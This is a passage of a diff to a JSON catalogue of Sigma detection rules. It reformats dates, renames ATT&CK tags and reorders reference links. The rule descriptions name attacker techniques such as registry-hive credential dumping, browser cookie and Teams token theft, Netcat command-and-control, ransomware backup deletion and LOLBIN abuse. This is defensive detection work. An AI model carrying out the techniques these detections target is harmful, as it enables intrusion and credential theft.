"attack.execution", "attack.persistence", - "attack.privilege_escalation", - "attack.credential_access", + "attack.privilege-escalation", + "attack.credential-access", "attack.discovery", "attack.t1047", "attack.t1053", @@ -34363,7 +34370,7 @@ "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", "meta": { "author": "frack113", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -34376,7 +34383,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_open_command.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -34396,7 +34403,7 @@ "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", "meta": { "author": "elhoim, CD_ROM_", - "creation_date": "2022/04/27", + "creation_date": "2022-04-27", "falsepositive": [ "Unknown" ], @@ -34409,7 +34416,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_spawn_explorer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -34429,7 +34436,7 @@ "description": "Detects the deletion of all backups or system state backups via \"wbadmin.exe\".\nThis technique is used by numerous ransomware families and actors.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/13", + "creation_date": "2021-12-13", "falsepositive": [ "Unknown" ], @@ -34440,10 +34447,10 @@ "refs": [ "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md", "https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_delete_all_backups.yml" ], "tags": [ @@ -34467,7 +34474,7 @@ "description": "Detects the use of Advanced Port Scanner.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/18", + "creation_date": "2021-12-18", "falsepositive": [ "Legitimate administrative use", "Tools with similar commandline (very rare)" @@ -34509,7 +34516,7 @@ "description": "Detects the execution of SecurityXploded Tools", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/12/19", + "creation_date": "2018-12-19", "falsepositive": [ "Unlikely" ], @@ -34519,11 +34526,11 @@ "logsource.product": "windows", "refs": [ "https://securityxploded.com/", - "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", + "https://web.archive.org/web/20200601000524/https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_secutyxploded.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555" ] }, @@ -34543,7 +34550,7 @@ "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", "meta": { "author": "pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/27", + "creation_date": "2022-07-27", "falsepositive": [ "Unknown" ], @@ -34552,14 +34559,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", "https://github.com/defaultnamehere/cookie_crimes/", - "https://github.com/wunderwuzzi23/firefox-cookiemonster", + "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", + "https://github.com/wunderwuzzi23/firefox-cookiemonster", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_remote_debugging.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1185" ] }, @@ -34579,7 +34586,7 @@ "description": "Detects the execution of a renamed Microsoft Teams binary.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/07/12", + "creation_date": "2024-07-12", "falsepositive": [ "Unknown" ], @@ -34592,7 +34599,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msteams.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "88f46b67-14d4-4f45-ac2c-d66984f22191", @@ -34602,7 +34609,7 @@ "description": "Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", "meta": { "author": "Sittikorn S", - "creation_date": "2021/06/22", + "creation_date": "2021-06-22", "falsepositive": [ "Software that illegally integrates MegaSync in a renamed form", "Administrators that have renamed MegaSync" @@ -34616,7 +34623,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -34636,7 +34643,7 @@ "description": "Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe.\nAutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks.\nAttackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/06/04", + "creation_date": "2023-06-04", "falsepositive": [ "Unknown" ], @@ -34650,7 +34657,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_autoit.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -34670,7 +34677,7 @@ "description": "Detects execution of LiveKD based on PE metadata or image name", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Administration and debugging activity (must be investigated)" ], @@ -34683,7 +34690,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_execution.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "a85f7765-698a-4088-afa0-ecfbf8d01fa4", @@ -34693,7 +34700,7 @@ "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", "meta": { "author": "frack113", - "creation_date": "2022/04/16", + "creation_date": "2022-04-16", "falsepositive": [ "Unknown" ], @@ -34707,7 +34714,7 @@ ], "tags": [ "attack.t1218.007", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -34726,7 +34733,7 @@ "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/01", + "creation_date": "2022-11-01", "falsepositive": [ "Unknown" ], @@ -34739,7 +34746,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_kavremover_uncommon_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -34759,7 +34766,7 @@ "description": "Detects the execution of a renamed \"client32.exe\" (NetSupport RAT) via Imphash, Product and OriginalFileName strings", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/19", + "creation_date": "2022-09-19", "falsepositive": [ "Unknown" ], @@ -34772,7 +34779,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0afbd410-de03-4078-8491-f132303cb67d", @@ -34782,7 +34789,7 @@ "description": "Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2021/07/21", + "creation_date": "2021-07-21", "falsepositive": [ "Legitimate ncat use" ], @@ -34791,13 +34798,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://nmap.org/ncat/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_netcat.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1095" ] }, @@ -34817,7 +34824,7 @@ "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", "meta": { "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", - "creation_date": "2020/03/04", + "creation_date": "2020-03-04", "falsepositive": [ "Unlikely" ], @@ -34826,8 +34833,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement.yml" ], "tags": [ @@ -34851,7 +34858,7 @@ "description": "Detects the usage of the \"net.exe\" command to start a service using the \"start\" flag", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Legitimate administrator or user executes a service for legitimate reasons." ], @@ -34884,7 +34891,7 @@ "description": "Shadow Copies creation using operating systems utilities, possible credential access", "meta": { "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Legitimate administrator working with shadow copies, access for backup purposes" ], @@ -34893,12 +34900,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_creation.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1003.002", "attack.t1003.003" @@ -34934,7 +34941,7 @@ "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/02", + "creation_date": "2022-08-02", "falsepositive": [ "Unlikely" ], @@ -34947,7 +34954,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -34967,7 +34974,7 @@ "description": "Detect usage of the \"sqlite\" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.", "meta": { "author": "frack113", - "creation_date": "2022/04/08", + "creation_date": "2022-04-08", "falsepositive": [ "Unknown" ], @@ -34976,12 +34983,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", + "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_gecko_profile_data.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1539", "attack.collection", "attack.t1005" @@ -35010,7 +35017,7 @@ "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/14", + "creation_date": "2022-06-14", "falsepositive": [ "Unlikely" ], @@ -35043,7 +35050,7 @@ "description": "Detects a renamed \"dctask64.exe\" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central.\nThis binary can be abused for DLL injection, arbitrary command and process execution.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/01/28", + "creation_date": "2020-01-28", "falsepositive": [ "Unknown" ], @@ -35052,13 +35059,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/gN3mes1s/status/1222095963789111296", "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://twitter.com/gN3mes1s/status/1222088214581825540", - "https://twitter.com/gN3mes1s/status/1222095963789111296", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_dctask64.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1055.001", "attack.t1202", @@ -35102,7 +35109,7 @@ "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unknown" ], @@ -35111,15 +35118,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", "https://en.wikipedia.org/wiki/Hangul_(word_processor)", - "https://blog.alyac.co.kr/1901", "https://twitter.com/cyberwar_15/status/1187287262054076416", + "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", + "https://blog.alyac.co.kr/1901", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001", "attack.execution", "attack.t1203", @@ -35157,7 +35164,7 @@ "description": "Detects the use of the Microsoft Windows Resource Leak Diagnostic tool \"rdrleakdiag.exe\" to dump process memory", "meta": { "author": "Cedric MAURUGEON, Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/09/24", + "creation_date": "2021-09-24", "falsepositive": [ "Unknown" ], @@ -35166,14 +35173,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1299071304805560321?s=21", "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", + "https://twitter.com/0gtweet/status/1299071304805560321?s=21", "https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -35193,7 +35200,7 @@ "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/08", + "creation_date": "2022-10-08", "falsepositive": [ "Legitimate use" ], @@ -35206,7 +35213,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_iox.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090" ] }, @@ -35226,7 +35233,7 @@ "description": "Detects the execution of Xwizard tool from a non-default directory.\nWhen executed from a non-default directory, this utility can be abused in order to side load a custom version of \"xwizards.dll\".\n", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/09/20", + "creation_date": "2021-09-20", "falsepositive": [ "Windows installed on non-C drive" ], @@ -35240,7 +35247,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xwizard_execution_non_default_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -35260,7 +35267,7 @@ "description": "Detects the execution of \"ldifde.exe\" in order to export organizational Active Directory structure.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/14", + "creation_date": "2023-03-14", "falsepositive": [ "Unknown" ], @@ -35269,9 +35276,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit", - "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_export.yml" ], "tags": [ @@ -35285,7 +35292,7 @@ "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/02", + "creation_date": "2022-09-02", "falsepositive": [ "Unlikely" ], @@ -35298,7 +35305,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -35318,7 +35325,7 @@ "description": "Detects usage of \"ProtocolHandler\" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE)\n", "meta": { "author": "frack113", - "creation_date": "2021/07/13", + "creation_date": "2021-07-13", "falsepositive": [ "Unknown" ], @@ -35327,12 +35334,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -35352,7 +35359,7 @@ "description": "Detects execution of commands that leverage the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems), Josh Nickels, frack113, Zaw Min Htun (ZETA)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Unlikely" ], @@ -35361,13 +35368,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/n1nj4sec/status/1421190238081277959", "https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt", + "https://twitter.com/n1nj4sec/status/1421190238081277959", "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_mshtml_runhtmlapplication.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -35378,7 +35385,7 @@ "description": "Detects a ping command that uses a hex encoded IP address", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/03/23", + "creation_date": "2018-03-23", "falsepositive": [ "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" ], @@ -35387,12 +35394,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", "https://twitter.com/vysecurity/status/977198418354491392", + "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ping_hex_ip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140", "attack.t1027" ] @@ -35420,7 +35427,7 @@ "description": "Detects execution of \"odbcconf\" with the \"-f\" flag in order to load a response file with a non-\".rsp\" extension.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "Unlikely" ], @@ -35429,13 +35436,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html", "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -35455,7 +35462,7 @@ "description": "Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/09", + "creation_date": "2023-06-09", "falsepositive": [ "Unknown" ], @@ -35478,7 +35485,7 @@ "description": "Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams.\nThe database might contain authentication tokens and other sensitive information about the logged in accounts.\n", "meta": { "author": "@SerkinValery", - "creation_date": "2022/09/16", + "creation_date": "2022-09-16", "falsepositive": [ "Unknown" ], @@ -35487,12 +35494,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -35512,7 +35519,7 @@ "description": "Detects usage of \"msedge_proxy.exe\" to download arbitrary files", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/11/09", + "creation_date": "2023-11-09", "falsepositive": [ "Unknown" ], @@ -35525,7 +35532,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_proxy_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -35546,7 +35553,7 @@ "description": "Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.\n", "meta": { "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unknown" ], @@ -35559,7 +35566,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -35579,7 +35586,7 @@ "description": "Detects the execution of \"lodctr.exe\" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/15", + "creation_date": "2023-06-15", "falsepositive": [ "Legitimate usage by an administrator" ], @@ -35602,7 +35609,7 @@ "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/06/28", + "creation_date": "2021-06-28", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", "Legitimate administrator sets up autorun keys for legitimate reasons.", @@ -35638,7 +35645,7 @@ "description": "Detects execution of \"odbcconf\" with \"INSTALLDRIVER\" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "Legitimate driver DLLs being registered via \"odbcconf\" will generate false positives. Investigate the path of the DLL and its contents to determine if the action is authorized." ], @@ -35647,13 +35654,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176", "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_driver_install.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -35673,7 +35680,7 @@ "description": "Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities", "meta": { "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -35682,16 +35689,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/nas_bench/status/1433344116071583746", + "https://twitter.com/eral4m/status/1479106975967240209", "https://twitter.com/Hexacorn/status/885258886428725250", - "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", "https://twitter.com/eral4m/status/1479080793003671557", - "https://twitter.com/eral4m/status/1479106975967240209", - "https://twitter.com/nas_bench/status/1433344116071583746", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -35711,7 +35718,7 @@ "description": "Detects an uncommon svchost parent process", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/08/15", + "creation_date": "2017-08-15", "falsepositive": [ "Unknown" ], @@ -35724,7 +35731,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_uncommon_parent_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.005" ] }, @@ -35744,7 +35751,7 @@ "description": "Use of reg to get MachineGuid information", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -35777,7 +35784,7 @@ "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", "meta": { "author": "Sreeman", - "creation_date": "2020/02/18", + "creation_date": "2020-02-18", "falsepositive": [ "Unlikely" ], @@ -35786,14 +35793,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", "https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors", "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", 